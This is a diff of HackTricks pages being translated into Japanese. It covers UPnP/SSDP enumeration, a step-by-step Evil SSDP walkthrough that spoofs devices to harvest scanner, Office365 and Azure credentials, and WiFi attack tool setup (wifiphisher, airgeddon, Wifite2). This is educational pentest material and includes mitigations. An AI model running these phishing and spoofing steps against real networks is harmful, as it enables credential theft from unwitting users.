Protocol**(SSDP)を使用してネットワーク上の他のデバイスを検索します。デバイスを検出する方法は**アクティブ**と**パッシブ**の2つあります。アクティブな方法を使用する場合、UPnP対応デバイスはマルチキャストアドレス**239.255.255.250のUDPポート1900**に対して検出メッセージ(**M-SEARCHリクエスト**と呼ばれる)を**送信**します。これをHTTPU(UDP上のHTTP)と呼びます。なぜなら、HTTPヘッダに似たヘッダが含まれているからです。M-SEARCHリクエストは次のようになります: ``` - M-SEARCH * HTTP/1.1 - ST: ssdp:all - MX: 5 - MAN: ssdp:discover - HOST: 239.255.255.250:1900 +M-SEARCH * HTTP/1.1 +ST: ssdp:all +MX: 5 +MAN: ssdp:discover +HOST: 239.255.255.250:1900 ``` +UPnPシステムは、このリクエストを受け取ると、デバイスがサポートするサービスをリストした説明XMLファイルのHTTPの場所をアナウンスする**UDPユニキャストメッセージ**で応答することが期待されています。 -UPnP systems that listen for this request are expected to reply with a **UDP unicast message that announces the HTTP location of the description XML** file, which lists the device’s supported services. - -When using the **passive** **method** for discovering devices, UPnP-capable devices periodically announce their services on the network by sending a **NOTIFY message to the multicast address** 239.255.255.250 on UDP port 1900. This message, which follows, looks like the one sent as a response to the active discovery: - +デバイスの発見には**パッシブな方法**を使用する場合、UPnP対応デバイスは定期的にネットワーク上でサービスをアナウンスするため、UDPポート1900のマルチキャストアドレス239.255.255.250に**NOTIFYメッセージを送信**します。以下は、アクティブなディスカバリに対する応答として送信されるメッセージの例です。 ``` - NOTIFY * HTTP/1.1\r\n - HOST: 239.255.255.250:1900\r\n - CACHE-CONTROL: max-age=60\r\n - LOCATION: http://192.168.10.254:5000/rootDesc.xml\r\n - SERVER: OpenWRT/18.06-SNAPSHOT UPnP/1.1 MiniUPnPd/2.1\r\n - NT: urn:schemas-upnp-org:service:WANIPConnection:2 +NOTIFY * HTTP/1.1\r\n +HOST: 239.255.255.250:1900\r\n +CACHE-CONTROL: max-age=60\r\n +LOCATION: http://192.168.10.254:5000/rootDesc.xml\r\n +SERVER: OpenWRT/18.06-SNAPSHOT UPnP/1.1 MiniUPnPd/2.1\r\n +NT: urn:schemas-upnp-org:service:WANIPConnection:2 ``` +UPnPプロファイルの説明は、アクティブな検出中に受信した応答メッセージのLOCATIONフィールドの値、またはパッシブな検出中に受信したNOTIFYメッセージに参照されます。 -The description of every UPnP profile is referenced in either the LOCATION field value of the response message received during active discovery or the NOTIFY message received during passive discovery. - -The **control layer** is probably the most **important** one; it allows **clients to send commands** to the UPnP device using the URLs from the description file. They can do this using the Simple Object Access Protocol (**SOAP**), a messaging protocol that uses XML over HTTP. Devices send SOAP requests to the controlURL endpoint, described in the \ tag inside the description file. A \ tag looks like this: - +**制御レイヤー**はおそらく最も**重要**なレイヤーであり、クライアントは説明ファイル内のURLを使用してUPnPデバイスにコマンドを送信することができます。これはSimple Object Access Protocol(**SOAP**)を使用することで行われます。SOAPはXMLをHTTP上で使用するメッセージングプロトコルです。デバイスは制御URLエンドポイントにSOAPリクエストを送信します。制御URLは説明ファイル内の\タグで説明されています。\タグは次のようになります: ```xml - - urn:schemas-upnp-org:service:WANIPConnection:2 - urn:upnp-org:serviceId:WANIPConn1 - /WANIPCn.xml - /ctl/IPConn - /evt/IPConn - + +urn:schemas-upnp-org:service:WANIPConnection:2 +urn:upnp-org:serviceId:WANIPConn1 +/WANIPCn.xml +/ctl/IPConn +/evt/IPConn + ``` +### **IGD - インターネットゲートウェイデバイス** -### **IGD - Internet Gateway Device** +**IGD**は、ネットワークアドレス変換(NAT)の設定でポートをマッピングします。IGDは、アプリケーションが一定の時間期間(ユーザーが手動で何か手順を実行する必要はありません)において、ルーター上に一時的なポートマッピングを動的に追加することを可能にします。 -**IGD** maps ports in network address translation (NAT) setups. IGD **allows** an application to dynamically **add a temporary port mapping on the router** for a certain time period (without needing the user to perform any manual step). +ほとんどのデバイスは通常、WANインターフェースを介してSSDPパケットを受け入れませんが、一部のデバイスはまだ開いているSOAPコントロールポイントを介してIGDコマンドを受け入れることができます。 -Most devices **don’t** normally **accept** **SSDP** packets through the **WAN** **interface**, but some of them can still **accept IGD** commands through open SOAP control points. +**Umapツールセクション**では、このベクターを悪用する方法を見つけることができます。 -In the **Umap tool section** you can find a way to exploit this vector. - -## **Tools** +## **ツール** ### **Miranda** -[**Miranda**](https://raw.githubusercontent.com/0x90/miranda-upnp/master/src/miranda.py) is a **python2** **UPnP** **client** that can be useful to **discover** UPnP services, get the **details** and **send commands** to them: - +[**Miranda**](https://raw.githubusercontent.com/0x90/miranda-upnp/master/src/miranda.py)は、**python2**の**UPnPクライアント**であり、UPnPサービスを発見し、詳細を取得し、それらにコマンドを送信するのに役立つことがあります。 ``` upnp> msearch @@ -99,8 +92,8 @@ Device is running Linux/3.4.11 UPnP/1.0 MiniUPnPd/1.9 upnp> host list - [0] 192.168.1.254:49152 - [1] 192.168.1.254:53350 +[0] 192.168.1.254:49152 +[1] 192.168.1.254:53350 upnp> host get 0 upnp> host details 0 @@ -110,173 +103,162 @@ UPNP XML File: http://192.168.1.254:49152/wps_device.xml Device information: - Device Name: WFADevice - Service Name: WFAWLANConfig - controlURL: wps_control - eventSubURL: wps_event - serviceId: urn:wifialliance-org:serviceId:WFAWLANConfig1 - SCPDURL: wps_scpd.xml - fullName: urn:schemas-wifialliance-org:service:WFAWLANConfig:1 - ServiceActions: - PutMessage - NewInMessage - InMessage: - dataType: bin.base64 +Device Name: WFADevice +Service Name: WFAWLANConfig +controlURL: wps_control +eventSubURL: wps_event +serviceId: urn:wifialliance-org:serviceId:WFAWLANConfig1 +SCPDURL: wps_scpd.xml +fullName: urn:schemas-wifialliance-org:service:WFAWLANConfig:1 +ServiceActions: +PutMessage +NewInMessage +InMessage: +dataType: bin.base64 [...] upnp> host send 0 WFADevice WFAWLANConfig PutMessage ``` - ### Umap -The tool [**umap**](https://github.com/0x90/upnp-arsenal/blob/master/umap-bypass.py) can help to **discover upnp commands** that are **available** from **WAN** interfaces even if those aren't advertised in those interfaces (this is because of buggy implementations). Note that if, for example, you are testing a router and you have access to it from both the internal network and the WAN interface, you should try to **enumerate all the services from the internal** network (using **miranda** for example) and then try to **call those services from the external** network. +ツール[**umap**](https://github.com/0x90/upnp-arsenal/blob/master/umap-bypass.py)は、**WAN**インターフェースから利用可能な**upnpコマンド**を**発見**するのに役立ちます(これはバグのある実装のためにこれらのインターフェースで広告されていない場合もあります)。たとえば、ルーターをテストして内部ネットワークとWANインターフェースの両方からアクセスできる場合、内部ネットワークからすべてのサービスを列挙してから外部ネットワークからそれらのサービスを呼び出すことを試してみる必要があります(たとえば、**miranda**を使用します)。 -### **Other UPnP Tools** +### **その他のUPnPツール** -Find in [**https://github.com/0x90/upnp-arsenal**](https://github.com/0x90/upnp-arsenal) more upnp tools +[**https://github.com/0x90/upnp-arsenal**](https://github.com/0x90/upnp-arsenal)でさらに多くのupnpツールを見つけることができます。 ### **Evil SSDP** -The Evil SSDP too was developed by [initstring](https://twitter.com/init\_string). This tool is hosted on the GitHub. We will be using the git clone command to clone all the contents of the git onto our attacker machine. The git clone command will create a directory with the same name as on GitHub. Since the tool is developed in Python version 3, we will have to use the python3 followed by the name of the .py file in order to run the program. Here we can see a basic help screen of the tool. - +Evil SSDPツールは[initstring](https://twitter.com/init\_string)によって開発されました。このツールはGitHubにホストされています。git cloneコマンドを使用して、gitのすべての内容を攻撃者のマシンにクローンします。git cloneコマンドはGitHubと同じ名前のディレクトリを作成します。ツールはPythonバージョン3で開発されているため、プログラムを実行するためにはpython3の後に.pyファイルの名前を使用する必要があります。ここでは、ツールの基本的なヘルプ画面が表示されています。 ```bash git clone https://github.com/initstring/evil-ssdp.git cd evil-ssdp/ls python3 evil-ssdp.py --help ``` - ![](https://i0.wp.com/1.bp.blogspot.com/-O6lddDvxqts/Xkq5PHqeE\_I/AAAAAAAAisQ/FKOCxVwT9cMy54lLy0SsYcKoM5Q95K5mQCLcBGAsYHQ/s1600/1.png?w=687\&ssl=1) -In the cloned directory, we will find a directory named templates. It contains all the pre complied templates that can be used to phish the target user. +クローンされたディレクトリには、templatesという名前のディレクトリが含まれています。これには、ターゲットユーザーをフィッシングするために使用できるすべての事前コンパイルされたテンプレートが含まれています。 -## **Spoofing Scanner SSDP** +## **SSDPのスプーフィング** -Now, that we ran the tool without any issues, let’s use it to gain some sweet credentials. In this first Practical, we will be spoofing a Scanner as a reliable UPnP device. To begin, we will have to configure the template. +問題なくツールを実行したので、いくつかの有用な資格情報を入手するために使用しましょう。この最初の実践では、信頼性のあるUPnPデバイスとしてスキャナーをスプーフィングします。まず、テンプレートを設定する必要があります。 -### **Template Configuration** +### **テンプレートの設定** -To use the tool, we will have to provide the network interface. Here, on our attacker machine, we have the “eth0” as our interface, you can find your interface using the “ifconfig” command. - -After providing the interface, we will use the “–template” parameter to pass a template that we found earlier in the templates directory. To spoof a scanner, we will be running the following command. As we can see that the tool has done its job and hosted multiple template files on our attacker machine at port 8888. We also have the SMB pointer hosted as well. +ツールを使用するには、ネットワークインターフェースを指定する必要があります。ここでは、攻撃者のマシン上で「eth0」をインターフェースとして持っていますが、「ifconfig」コマンドを使用してインターフェースを見つけることができます。 +インターフェースを指定した後、テンプレートディレクトリで以前に見つけたテンプレートを渡すために「--template」パラメータを使用します。スキャナーをスプーフィングするために、次のコマンドを実行します。ツールがその役割を果たし、複数のテンプレートファイルがポート8888で攻撃者のマシン上にホストされていることがわかります。また、SMBポインタもホストされています。 ```bash ls temlates/ python3 evil-ssdp.py eth0 --template scanner ``` - ![](https://i0.wp.com/1.bp.blogspot.com/-kg05jQ03Fnw/Xkq5Qing\_qI/AAAAAAAAisk/GYK8MuCKqKUalqh3DHGWVRoyDlAQaxUrwCLcBGAsYHQ/s1600/2.png?w=687\&ssl=1) -### **Manipulating User** +### **ユーザーの操作** -The next logical step is to manipulate the user to click on the application. Being on the same network as the target will show our fake scanner on its explorer. This is where the UPnP is in works. The Evil SSDP tool creates this genuine-looking scanner on the system on the target without any kind of forced interaction with the target. +次の論理的なステップは、ユーザーを操作してアプリケーションをクリックさせることです。ターゲットと同じネットワークにいる場合、エクスプローラーに偽のスキャナーが表示されます。これがUPnPが機能する場所です。Evil SSDPツールは、ターゲットとの強制的な相互作用なしに、ターゲットのシステム上にこの本物のスキャナーを作成します。 ![](https://i1.wp.com/1.bp.blogspot.com/-\_05xXp10Buk/Xkq5Qz4yosI/AAAAAAAAiso/HdHr0qJ59rkR2ur\_UYcrHMdf93uqMhXUwCLcBGAsYHQ/s1600/3.png?w=687\&ssl=1) -Upon clicking the icon inside the Explorer, we will be redirected to the default Web Browser, opening our hosted link. The templates that we used are in play here. The user is now aware he/she is indeed connected to a genuine scanner or a fake UPnP device that we generated. Unaware target having no clue enters the valid credentials on this template as shown in the image given below. +エクスプローラー内のアイコンをクリックすると、デフォルトのWebブラウザにリダイレクトされ、ホストされたリンクが開きます。ここで使用したテンプレートが活躍します。ユーザーは、自分が本物のスキャナーまたは私たちが生成した偽のUPnPデバイスに接続されていることを認識しています。無意識のターゲットは、以下の画像に示すように、このテンプレートに有効な資格情報を入力します。 ![](https://i2.wp.com/1.bp.blogspot.com/-lp2DBNRl12A/Xkq5RBtGvgI/AAAAAAAAiss/G9jSOVdBO4wnRKixpXlbj6BJeCTBWz7cACLcBGAsYHQ/s1600/4.png?w=687\&ssl=1) -### **Grabbing the Credentials** +### **資格情報の取得** -As soon as the target user enters the credentials, we check our terminal on the attacker machine to find that we have the credentials entered by the user. As there is no conversation required for each target device, our fake scanner is visible to each and every user in the network. This means the scope of this kind of attack is limitless. +ターゲットユーザーが資格情報を入力すると、攻撃者のマシンのターミナルをチェックして、ユーザーが入力した資格情報を確認します。各ターゲットデバイスに対して会話が必要ないため、偽のスキャナーはネットワーク内のすべてのユーザーに表示されます。これは、この種の攻撃の範囲が無限であることを意味します。 ![](https://i1.wp.com/1.bp.blogspot.com/-RAI02igc4F4/Xkq5RSJ3j2I/AAAAAAAAisw/p47jd\_jyyAE3RQIpms6nd-TzsPygD4CXQCLcBGAsYHQ/s1600/5.png?w=687\&ssl=1) -## **Spoofing Office365 SSDP** +## **Office365 SSDPのスプーフィング** -In the previous practical, we spoofed the scanner to the target user. Now, ongoing through the template directory, we found the Office365 template. Let’s use it. +前の実践では、スキャナーをターゲットユーザーにスプーフィングしました。次に、テンプレートディレクトリを通じて進行し、Office365のテンプレートを見つけました。それを使用しましょう。 -### **Template Configuration** - -As we did previously, let’s begin with the configuration of the template as well as the tool. We are going to use the python3 to run the tool followed by the name of the python file. Then providing the network interface which indeed will be followed by the template parameter with the office365. +### **テンプレートの設定** +前と同様に、テンプレートとツールの設定から始めましょう。python3を使用してツールを実行し、その後にpythonファイルの名前を指定します。次に、ネットワークインターフェースを指定し、その後にoffice365のテンプレートパラメータを指定します。 ```bash python3 evil-ssdp.py eth0 --template office365 ``` - ![](https://i1.wp.com/1.bp.blogspot.com/-8GWxmKPDkIo/Xkq5RmgF8\_I/AAAAAAAAis0/bxVTcd4aBCUZBEDuUIg3-G39aMu7l5YCgCLcBGAsYHQ/s1600/6.png?w=687\&ssl=1) -As we can see that the tool has done its job and hosted multiple template files on our attacker machine at port 8888. +ツールがその役割を果たし、攻撃者のマシンのポート8888に複数のテンプレートファイルをホストしていることがわかります。 -### **Manipulating User** +### **ユーザーの操作** -As soon as we run the tool, we have a UPnP device named Office365 Backups. This was done by the tool without having to send any file, payload or any other type of interaction to the target user. All that’s left is the user to click on the icon. +ツールを実行すると、Office365バックアップという名前のUPnPデバイスが表示されます。これは、ツールがターゲットユーザーにファイルやペイロード、その他のタイプのインタラクションを送信することなく行われました。残るは、ユーザーがアイコンをクリックするだけです。 ![](https://i0.wp.com/1.bp.blogspot.com/-txqBOw02D6w/Xkq5RgolUcI/AAAAAAAAis4/wkQTzYBmtdU\_Nbq9X1qI47FlJtdqHvIjQCLcBGAsYHQ/s1600/7.png?w=687\&ssl=1) -Upon being clicked by the user, the target user is redirected to our fake template page through their default browser. This is a very genuine looking Microsoft webpage. The clueless user enters their valid credentials onto this page. +ユーザーがクリックすると、ターゲットユーザーはデフォルトのブラウザを介して偽のテンプレートページにリダイレクトされます。これは非常に本物のようなMicrosoftのウェブページです。無知なユーザーはこのページに有効な資格情報を入力します。 ![](https://i1.wp.com/1.bp.blogspot.com/-69Tf3PRpvhM/Xkq5RziDXzI/AAAAAAAAis8/vjejKgh0XigRHFC2Ib8QCpPlzx\_RAu4eACLcBGAsYHQ/s1600/8.png?w=687\&ssl=1) -### **Grabbing the Credentials** +### **資格情報の取得** -As soon as the user enters the credentials and they get passed as the post request to the server, which is our target machine, we see that on our terminal, we have the credentials. +ユーザーが資格情報を入力し、それがポストリクエストとしてサーバー(私たちのターゲットマシン)に渡されると、私たちのターミナルに資格情報が表示されます。 ![](https://i0.wp.com/1.bp.blogspot.com/-3KXN6DKT\_E0/Xkq5SEwhKHI/AAAAAAAAitA/a2gTi5UwNE0JsMH-XQEW33MchkxgjPGSwCLcBGAsYHQ/s1600/9.png?w=687\&ssl=1) -## **Diverting User to a Password Vault SSDP** +## **ユーザーをパスワードボールトSSDPに誘導する** -Until now, we successfully spoofed the target user to gain some scanner credentials and some Office365 backup credentials. But now we go for the most important thing that is used as a UPnP, The Password Vault. +これまでに、ターゲットユーザーをスキャナーの資格情報とOffice365のバックアップの資格情報を入手するためにスプーフィングしました。しかし、今度は最も重要なものであるUPnPとして使用されるパスワードボールトに取り組みます。 -### **Template Configuration** - -As we did in our previous practices, we will have to set up the template for the password-vault. In no time, the tool hosts the password-vault template onto the port 8888. +### **テンプレートの設定** +前回の実践と同様に、パスワードボールトのテンプレートを設定する必要があります。ツールはすぐにパスワードボールトのテンプレートをポート8888にホストします。 ```bash python3 evil-ssdp.py eth0 --template password-vault ``` - ![](https://i2.wp.com/1.bp.blogspot.com/-YPQirClmWN4/Xkq5O5WFgoI/AAAAAAAAisI/4\_i4ogVRWE0C\_ez3p6EkL8YdJ0ot48DmwCLcBGAsYHQ/s1600/10.png?w=687\&ssl=1) -### **Manipulating User** +### **ユーザーの操作** -Moving onto the target machine, we see that the Password Vault UPnP is visible in the Explorer. Now lies that the user clicks on the device and gets trapped into our attack. Seeing something like Password Vault, the user will be tempted to click on the icon. +ターゲットマシンに移動すると、エクスプローラーでPassword Vault UPnPが表示されていることがわかります。ユーザーがデバイスをクリックし、私たちの攻撃に引っかかることを期待します。Password Vaultのようなものを見ると、ユーザーはアイコンをクリックしたくなるでしょう。 ![](https://i2.wp.com/1.bp.blogspot.com/-3oMPYaCZ46k/Xkq5PB4zQ\_I/AAAAAAAAisM/i5C8qZVB8RYWBwAkiKCZbdptIbsnk4CUwCLcBGAsYHQ/s1600/11.png?w=687\&ssl=1) -As the clueless user thinks that he/she has achieved far most important stuff with the fake keys and passwords. This works as a distraction for the user, as this will lead the user to try this exhaustive list of credentials with no success. +無知なユーザーは、偽のキーとパスワードで非常に重要な作業を達成したと思っています。これはユーザーを惑わすためのものであり、ユーザーはこの網羅的な資格情報のリストを試しても成功しないでしょう。 ![](https://i0.wp.com/1.bp.blogspot.com/-SrCMlWIUxCM/Xkq5Pg\_IznI/AAAAAAAAisU/L\_ZIvQKfltkyk9iUCrEGyXCojx5b86uFgCLcBGAsYHQ/s1600/12.png?w=687\&ssl=1) -## **Spoofing Microsoft Azure SSDP** +## **Microsoft Azure SSDPのスプーフィング** -While working with Spoofing, one of the most important tasks is to not let the target user know that he/she has been a victim of Spoofing. This can be achieved by redirecting the user after we grab the credentials or cookies or anything that the attacker wanted to acquire. The evil\_ssdp tool has a parameter (-u) which redirects the targeted user to any URL of the attacker’s choice. Let’s take a look at the working of this parameter in action. - -To start, we will use the python3 for loading the tool. Followed by we mention the Network Interface that should be used. Now for this practical, we will be using the Microsoft Azure Storage Template. After selecting the template, we put the (-u) parameter and then mention any URL where we want to redirect the user. Here we are using the Microsoft official Link. But this can be any malicious site. +スプーフィングを行う際に最も重要なタスクの1つは、ターゲットユーザーにスプーフィングの被害者であることを知らせないことです。これは、攻撃者が取得したい資格情報やクッキーなどを取得した後、ユーザーをリダイレクトすることで実現できます。evil\_ssdpツールには、攻撃者が選択した任意のURLに対してターゲットユーザーをリダイレクトするためのパラメータ(-u)があります。このパラメータの動作を見てみましょう。 +まず、ツールをロードするためにpython3を使用します。次に使用するネットワークインターフェースを指定します。この実践では、Microsoft Azure Storageテンプレートを使用します。テンプレートを選択した後、(-u)パラメータを入力し、ユーザーをリダイレクトしたい任意のURLを指定します。ここでは、Microsoftの公式リンクを使用していますが、これは任意の悪意のあるサイトにすることができます。 ```bash python3 evil-ssdp.py eth0 --template microsoft-azure -u https://malicous-site.com ``` +![](https://i2.wp.com/1.bp.blogspot.com/-ReHCqgFazX0/Xkq5QBiQ7jI/AAAAAAAAisY/_DFdnzBpSGY1iDP1YJxeVTHF3iS5PZnqwCLcBGAsYHQ/s1600/13.png?w=687&ssl=1) -![](https://i2.wp.com/1.bp.blogspot.com/-ReHCqgFazX0/Xkq5QBiQ7jI/AAAAAAAAisY/\_DFdnzBpSGY1iDP1YJxeVTHF3iS5PZnqwCLcBGAsYHQ/s1600/13.png?w=687\&ssl=1) +### **ユーザーの操作** -### **Manipulating User** +ツールを起動した後、以下の画像に示すように、ターゲットマシンにUPnPデバイスが作成されます。攻撃が成功するためには、ターゲットがデバイスをクリックする必要があります。 -Now that we have started the tool, it will create a UPnP device on the Target Machine as shown in the image given below. For the attack to be successful, the target needs to click on the device. +![](https://i1.wp.com/1.bp.blogspot.com/-rROTfEGP3z8/Xkq5QBn46dI/AAAAAAAAisc/7RDv7fI3BPYt1XmrKVRKOEHurkGY1xeogCLcBGAsYHQ/s1600/14.png?w=687&ssl=1) -![](https://i1.wp.com/1.bp.blogspot.com/-rROTfEGP3z8/Xkq5QBn46dI/AAAAAAAAisc/7RDv7fI3BPYt1XmrKVRKOEHurkGY1xeogCLcBGAsYHQ/s1600/14.png?w=687\&ssl=1) +アイコンをクリックした後、ユーザーはMicrosoft公式ページにリダイレクトされます。これは攻撃者が望むものになります。 -After clicking the icon, we see that the user is redirected to the Microsoft Official Page. This can be whatever the attacker wants it to be. +![](https://i2.wp.com/1.bp.blogspot.com/-gU36s2kyIbg/Xkq5QVRh61I/AAAAAAAAisg/hN3uVMTPh-suDiH5ID3-mWcQiNvDVYeJACLcBGAsYHQ/s1600/15.png?w=687&ssl=1) -![](https://i2.wp.com/1.bp.blogspot.com/-gU36s2kyIbg/Xkq5QVRh61I/AAAAAAAAisg/hN3uVMTPh-suDiH5ID3-mWcQiNvDVYeJACLcBGAsYHQ/s1600/15.png?w=687\&ssl=1) +これで、この素晴らしいスプーフィングツールの実践が終了しました。 -This concludes our practical of this awesome spoofing tool. +## **緩和策** -## **Mitigation** - -* Disable UPnP devices. -* Educate Users to prevent phishing attacks -* Monitor the network for the password travel in cleartext. +* UPnPデバイスを無効にする。 +* ユーザーにフィッシング攻撃を防ぐための教育を行う。 +* パスワードが平文で送信されることを監視する。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/generic-methodologies-and-resources/pentesting-wifi/README.md b/generic-methodologies-and-resources/pentesting-wifi/README.md index 9b4a06e0f..3553ad209 100644 --- a/generic-methodologies-and-resources/pentesting-wifi/README.md +++ b/generic-methodologies-and-resources/pentesting-wifi/README.md @@ -1,29 +1,28 @@ -# Pentesting Wifi +# Wifiのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう** -🐞 Read web3 bug tutorials +🐞 web3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグバウンティについて通知を受ける -💬 Participate in community discussions - -## Wifi basic commands +💬 コミュニティのディスカッションに参加する +## Wifiの基本コマンド ```bash ip link show #List available interfaces iwconfig #List available interfaces @@ -36,137 +35,143 @@ iwconfig wlan0 mode monitor #Put in mode monitor iwconfig wlan0mon mode managed #Quit mode monitor - managed mode iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis ``` - -## Tools +## ツール ### EAPHammer - ``` git clone https://github.com/s0lst1c3/eaphammer.git ./kali-setup ``` - ### Airgeddon +Airgeddonは、ワイヤレスネットワークのペネトレーションテストに使用されるオールインワンのツールです。このツールは、さまざまな攻撃手法を使用して、WiFiネットワークの脆弱性をテストすることができます。 + +Airgeddonは、ワイヤレスネットワークのスキャン、ハンドシェイクのキャプチャ、ハンドシェイクの解析、パスワードのクラックなど、さまざまな機能を提供しています。また、WPSピン攻撃やEvil Twin攻撃などの高度な攻撃手法もサポートしています。 + +このツールは、Kali Linuxなどのペネトレーションテスト用のオペレーティングシステムで使用することができます。Airgeddonは、ユーザーフレンドリーなインターフェースを備えており、初心者から上級者まで幅広いユーザーに適しています。 + +Airgeddonを使用する際には、法的な制限と倫理的な考慮事項に留意する必要があります。ネットワークの許可なく、他人のWiFiネットワークに侵入することは違法です。ペネトレーションテストは、合法的な許可を得た範囲内で行う必要があります。 + +Airgeddonは、ワイヤレスネットワークのセキュリティをテストするための強力なツールですが、正当な目的で使用することが重要です。 ```bash mv `which dhcpd` `which dhcpd`.old apt install isc-dhcp-server apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe ``` +**Dockerを使用してairgeddonを実行する** -**Run airgeddon with docker** +If you prefer to run airgeddon in a Docker container, you can follow these steps: +1. Install Docker on your system if you haven't already. +2. Clone the airgeddon repository from GitHub: `git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git` +3. Change into the airgeddon directory: `cd airgeddon` +4. Build the Docker image using the provided Dockerfile: `docker build -t airgeddon .` +5. Run the Docker container with the necessary options: `docker run -it --net=host --privileged airgeddon` + +This will start airgeddon inside the Docker container, allowing you to use its features and perform WiFi pentesting tasks. Remember to provide the necessary permissions and network access to the container by using the `--privileged` and `--net=host` options. + +Note: Make sure to have a compatible WiFi adapter connected to your system for airgeddon to work properly within the Docker container. ```bash docker run \ - --rm \ - -ti \ - --name airgeddon \ - --net=host \ - --privileged \ - -p 3000:3000 \ - -v /tmp:/io \ - -e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \ - v1s1t0r1sh3r3/airgeddon +--rm \ +-ti \ +--name airgeddon \ +--net=host \ +--privileged \ +-p 3000:3000 \ +-v /tmp:/io \ +-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \ +v1s1t0r1sh3r3/airgeddon ``` - -From: [https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux](https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux) - ### wifiphisher -It can perform Evil Twin, KARMA, and Known Beacons attacks and then use a phishing template to manage to obtain the network real password or capture social network credentials. - +Evil Twin、KARMA、およびKnown Beacons攻撃を実行し、その後フィッシングテンプレートを使用してネットワークの実際のパスワードを取得するか、ソーシャルネットワークの資格情報をキャプチャすることができます。 ```bash git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision cd wifiphisher # Switch to tool's directory sudo python setup.py install # Install any dependencies ``` - ### [Wifite2](https://github.com/derv82/wifite2) -This tool automates **WPS/WEP/WPA-PSK** attacks. It will automatically: +このツールは、**WPS/WEP/WPA-PSK**攻撃を自動化します。以下のことを自動的に行います: -* Set the interface in monitor 